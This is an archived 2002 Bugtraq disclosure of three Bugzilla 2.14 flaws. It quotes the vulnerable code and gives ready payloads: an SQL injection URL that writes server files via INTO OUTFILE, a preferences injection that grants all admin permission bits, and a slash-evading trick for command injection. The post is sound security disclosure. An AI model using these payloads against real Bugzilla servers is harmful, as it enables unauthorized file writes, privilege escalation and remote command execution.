

# Inproper input validation in Bugzilla <=2.14 – exploit

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-01/0065.html>

---

*From:* funkysh ([funkysh@sm.pl](mailto:funkysh@sm.pl))

*Date:* 01/06/02

Date: Sun, 6 Jan 2002 12:34:01 +0100 (CET)

From: funkysh <[funkysh@sm.pl](mailto:funkysh@sm.pl)>

To: <[bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com)>

Since advisory and patched version is already released, here goes description of vulnerabilities I discovered in Bugzilla almost year ago.

## 1. Creating files on remote server.

-----

Nothing spectacular, but this vulnerability may allow us easily (at least when using Bugzilla with MySQL) to create files on remote server in some cases, using MySQL's INTO OUTFILE.

long\_list.cgi:

```
my $generic_query = "
select
  bugs.bug_id,
  ...
from bugs,profiles ...
where assign.userid = ... and";

$::FORM{'buglist'} = "" unless exists $::FORM{'buglist'};
foreach my $bug (split(/:/, $::FORM{'buglist'})) {
  SendSQL("$generic_query bugs.bug_id = $bug");
}
```

[..]

As we can see \$::FORM{'buglist'} (submitted by user) isn't quoted here, also script doesn't check if bug\_id is numeric value. So we are able to add extra SQL command into \$generic\_query.

ok, let's try.. after login we request:

[http://site/bugzilla/long\\_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27](http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27)

## SecurityFocus Bugtraq: Improper input validation in Bugzilla <=2.14 – exploit

We are lucky, if everything works, we'll see only little message: "Full Text Bug Listing", so we then know file is created. If any problem occur script will happily inform us.

```
[funkysh@note] $ ls -l /tmp/pussycat
```

```
-rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat
```

This may be serious problem if i.e. remote server running PHP, and we have any writable dir inside DOCUMENT\_ROOT reachable from outside, we can create some evil php script. (Bugzilla by default creates directory 'data' with permissions sets to 777 afair, it is also not a problem to find out real path.)

Btw. this one seems to be still unpatched in 2.14.1.

### 2. Obtaining Bugzilla superuser access.

---

What you can do with your Bugzilla account depends on your groupset, by default any newly created user have groupset=96 what means:

- \* Can edit all aspects of any bug.
- \* Can confirm a bug.

(Get into User preferences and choose Permissions link to see that.)

Why not to become superuser? Nothing easier. Take look into userprefs.cgi:

```
sub SaveFooter {
```

```
[..]
```

```
    SendSQL("UPDATE profiles SET mybugslink = '' . $::FORM{'mybugslink'} .  
            "" WHERE userid = $userid");
```

```
[..]
```

Once again unquoted user supplied value.

ok,

– once you are in 'User preferences' request following:

```
%20%2cgroupset='9223372036854775807  
(9223372036854775807 its just decimal of all 64 permission bits)
```

– choose Permissions link and you should see:

- \* Can tweak operating parameters
- \* Can edit or disable users
- \* Can create and destroy groups.

## SecurityFocus Bugtraq: Improper input validation in Bugzilla <=2.14 – exploit

- \* Can create, destroy, and edit components.
- \* Can create, destroy, and edit keywords.
- \* Can edit all aspects of any bug.
- \* Can confirm a bug.

Voila.

### 3. Executing commands on remote server.

---

After quick look into reports.cgi we can discover this:

```
sub generate_chart {
    my ($data_file, $image_file, $type) = @_ ;

    if (! open FILE, $data_file) {
        &die_politely ("The tool which gathers bug counts has not been run yet.");
    }
}
```

our generate\_chart() is called from show\_chart() function this way:

```
if (! is_legal_product ($FORM{'product'})) {
    &die_politely ("Unknown product: $FORM{'product'}");
}

...
my $data_file = daily_stats_filename($FORM{product})
...

if (! -e "$graph_dir/$image_file") {
    generate_chart("$dir/$data_file", "$graph_dir/$image_file", $type);
}
```

"product" is user submitted value but it is checked by function is\_legal\_product() so we first have to create product with name of our evil command.. of course normal user cannot add new products and components but we gained administrator privileges using vuln 2.

One more thing to pass:

```
sub daily_stats_filename {
    my ($prodname) = @_ ;
    $prodname =~ s/\//-/gs;
    return $prodname;
}
```

Every slash in our command will be replaced with dash ..ouh, not so good, but we are smart enough to use `echo -e \057` instead of /.

Notice that exploiting last bug is dependant on availability of GD modules, since check is done in sub show\_chart() :

## SecurityFocus Bugtraq: Improper input validation in Bugzilla <=2.14 – exploit

...  
return unless \$use\_gd;

That's all, a script is attached which exploits second and third vulnerability to execute commands on remote server running Bugzilla.

regards,

--  
[funkysh@sm.pl](mailto:funkysh@sm.pl)

---

- TEXT/PLAIN attachment: [buggyzilla.pl](#)
- 

- *Previous message:* [Ben Laurie: "Re: AW: IE https certificate attack"](#)
- *Next in thread:* [David Miller: "Re: Improper input validation in Bugzilla <=2.14 – exploit"](#)
- *Reply:* [David Miller: "Re: Improper input validation in Bugzilla <=2.14 – exploit"](#)
- *Messages sorted by:* [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)